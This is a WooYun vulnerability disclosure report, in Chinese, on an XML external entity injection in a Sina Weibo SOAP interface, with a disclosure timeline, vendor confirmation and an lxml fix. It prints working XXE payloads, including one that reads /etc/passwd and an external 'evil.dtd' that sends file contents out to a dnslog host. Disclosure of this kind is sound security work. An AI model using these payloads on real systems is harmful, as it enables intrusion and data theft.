当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0210611

漏洞标题:新浪微博某处SOAP接口外部实体注入

相关厂商:新浪微博

漏洞作者: sanwenkit

提交时间:2016-05-19 18:42

修复时间:2016-07-07 11:20

公开时间:2016-07-07 11:20

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-19: 细节已通知厂商并且等待厂商处理中
2016-05-23: 厂商已经确认,细节仅向厂商公开
2016-06-02: 细节向核心白帽子及相关领域专家公开
2016-06-12: 细节向普通白帽子公开
2016-06-22: 细节向实习白帽子公开
2016-07-07: 细节向公众公开

简要描述:

SOAPpy

详细说明:

新浪微博某主机的8089端口跑着SOAP服务接口

http://123.126.42.32:8089//


为证明是新浪微博的机器,可以看它的80和8000端口

QQ图片20160519175951.png


QQ图片20160519144051.png


从8089端口的Banner可以看到运行了SOAPpy(某个python实现的SOAP调用框架)

QQ图片20160519180231.png

漏洞证明:

利用cloudeye验证是否存在XML外部实体注入
POST提交PAYLOAD

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtochkx [
<!ENTITY % dtd SYSTEM "http://xml.66ae2b.dnslog.info/verify">
%dtd;
]>
<xxe>&dtochkx;</xxe>


QQ图片20160519181000.png


访问日志如下,证明解析了外部实体,XXE存在:

QQ图片20160519181152.png


继续尝试进一步利用,找了SOAPpy <= 0.12.5的文件读取exp测试
提交PAYLOAD如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE v1 [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema">
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">&xxe;</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


返回结果如下:

QQ图片20160519181901.png


看样子是出错了,尝试换一种payload利用cloudeye读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtochkx [
<!ENTITY % payload SYSTEM "/proc/sys/kernel/hostname">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<xxe>&dtochkx;</xxe>


其中evil.dtd为自己放在公网的一个恶意DTD,内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://66ae2b.dnslog.info/?%payload;'>">
%all;


PAYLOAD目的是读取/proc/sys/kernel/hostname的值,但是测试发现读不到东西

QQ图片20160519182445.png


看来文件读取是做不到了,以上。

修复方案:

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

版权声明:转载请注明来源 sanwenkit@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-05-23 11:13

厂商回复:

感谢关注新浪安全,安全问题修复中。

最新状态:

暂无